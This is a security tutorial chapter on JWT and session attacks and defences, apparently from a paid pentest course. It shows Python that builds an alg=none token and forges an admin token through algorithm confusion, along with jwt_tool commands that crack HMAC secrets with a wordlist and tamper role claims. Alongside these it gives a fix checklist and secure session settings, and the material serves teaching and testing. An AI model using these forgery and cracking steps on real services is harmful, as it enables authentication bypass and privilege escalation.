JWT & Session Security

๐Ÿ”ฅ Vibe Prompt

"Audit a JWT: decode, check for alg=none attack, brute-force weak HMAC key."

import jwt, json

# JWT structure: header.payload.signature
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoidXNlciJ9.sig"

# Decode header & payload
header_b64, payload_b64, sig_b64 = token.split(".")

# Pad for base64
def b64_decode(s):
    s += "=" * (4 - len(s) % 4)
    return json.loads(__import__('base64').urlsafe_b64decode(s))

print(f"Header: {b64_decode(header_b64)}")
print(f"Payload: {b64_decode(payload_b64)}")

# Attack 1: alg=none
# Change alg to "none", remove signature
none_token = "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ."

try:
    decoded = jwt.decode(none_token, options={"verify_signature": False})
    print(f"\nalg=none attack: {decoded}")  # Succeeds if server accepts
except:
    print("alg=none rejected (good)")

# Attack 2: Weak HMAC key
# python jwt_bruteforce.py <token> /usr/share/wordlists/rockyou.txt

JWT Security Checklist

| Issue | Risk | Fix | |-------|------|-----| | alg=none | Critical | Reject none | | Weak secret | High | 256-bit random | | Hardcoded key | High | Key rotation | | No expiry | Medium | Add exp claim | | Sensitive data | Medium | Never store secrets in payload |

Session Security

# Good
session["user_id"] = user.id
session.permanent = True
app.permanent_session_lifetime = timedelta(hours=2)

# Regenerate after login
session.clear()
session["user_id"] = user.id  # Prevents session fixation

Key Points

  • Understand the core concepts thoroughly
  • Practice with hands-on code examples
  • Apply knowledge to real-world problems
  • Review and reinforce through exercises

Further Learning

  • Official documentation
  • Open source projects on GitHub
  • Community forums and discussions
  • Related courses and tutorials

JWT Attacks

JWT (JSON Web Token) is widely used for API authentication but has several attack vectors.

Common JWT Vulnerabilities

| Attack | Description | How to Test | |--------|-------------|-------------| | None algorithm | Set alg: none to bypass verification | Modify JWT header to {\"alg\":\"none\"} | | Weak secret | Crack the HMAC secret key | Use jwt_tool, hashcat | | Algorithm confusion | Use RS256 public key to verify HS256 token | Switch from RS256 to HS256 | | Token theft | Steal JWT from storage or network | XSS, mitm, log inspection | | Expired token reuse | Use token after expiry | Capture and replay old token | | JWK injection | Inject your own public key | Add jwk header with attacker's key |

Testing with jwt_tool

# Install
pip install jwt_tool

# Scan a JWT for vulnerabilities
jwt_tool eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.dozjgNqP3sV8L9P3sV8L9P3sV8L9P3sV8L9P3sV8

# Check for "none" algorithm
jwt_tool -X a token.txt

# Crack the secret
jwt_tool -C -d /usr/share/wordlists/rockyou.txt token.txt

# Tamper payload
jwt_tool -T -I -pc role -pv admin token.txt

Algorithm Confusion Attack

# If the server accepts HS256 using the RSA public key:
# 1. Get the server's RSA public key (often at /jwks.json or /.well-known/jwks)
# 2. Convert to HMAC format
# 3. Sign a forged token with the public key as the HMAC secret

import jwt

# Get public key from server
public_key = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA...
-----END PUBLIC KEY-----"""

# Forge token using HS256 with public key as secret
forged_token = jwt.encode(
    {"sub": "admin", "role": "admin"},
    public_key,
    algorithm="HS256"
)

print(f"Forged token: {forged_token}")

Session Security

Session Attacks

| Attack | Description | Prevention | |--------|-------------|------------| | Session fixation | Attacker sets victim's session ID | Regenerate session ID after login | | Session hijacking | Steal session cookie | HttpOnly, Secure, SameSite flags | | Session prediction | Guess valid session IDs | Use crypto-random session IDs | | Concurrent sessions | No limit on simultaneous logins | Limit sessions per user |

Secure Session Configuration

// Express.js secure session
import session from 'express-session';

app.use(session({
  secret: process.env.SESSION_SECRET,
  name: '__Host-session',  // Prefix restricts to secure context
  cookie: {
    httpOnly: true,     // Not accessible via JavaScript
    secure: true,       // HTTPS only
    sameSite: 'strict', // Prevent CSRF
    maxAge: 24 * 60 * 60 * 1000  // 24 hours
  },
  resave: false,
  saveUninitialized: false,
}));

// Regenerate session after login
app.post('/login', async (req, res) => {
  const user = await authenticate(req.body);
  
  // Regenerate session to prevent fixation
  req.session.regenerate((err) => {
    if (err) return res.status(500).json({ error: 'Session error' });
    
    req.session.userId = user.id;
    req.session.role = user.role;
    res.json({ message: 'Logged in' });
  });
});

Summary

JWT attacks exploit every layer of the authentication chain โ€” from algorithm confusion to brute-forced secrets โ€” while session attacks target the cookie storage layer. Defending against both requires a layered approach.

Key takeaways:

  • JWT attacks: none algorithm, weak secret brute force, algorithm confusion, JWK injection โ€” test them all
  • Algorithm confusion: trick the server into using HS256 with the RSA public key as the HMAC secret
  • Always whitelist accepted algorithms โ€” never allow "alg": "none" and never accept both symmetric and asymmetric
  • Use RS256 (asymmetric) in production: the private key stays with the auth server, the public key can be shared
  • Session attacks: fixation, hijacking, prediction โ€” prevent with regenerate(), httpOnly, Secure, SameSite=strict
  • Session regeneration after every login/login-level change prevents fixation attacks
  • Cookie flags checklist: httpOnly: true (no JS access), secure: true (HTTPS only), sameSite: 'strict' (no cross-site sending)
  • JWK injection: always validate the jwk header against a trusted keyset โ€” never accept arbitrary keys from the token

What Is Next: Full API Pentest Walkthrough

Now that you understand the individual attacks โ€” SQL injection, NoSQL injection, JWT vulnerabilities, and session security โ€” the next chapter ties everything together into a complete API penetration test. You will learn how to chain these vulnerabilities for maximum impact, how to write a professional pentest report, and how to present findings to stakeholders.

Unlock Full Tutorial

This chapter is paid content. Join the project to unlock over 5000 words of deep analysis, including 10+ god-tier Prompts and real Source Code examples!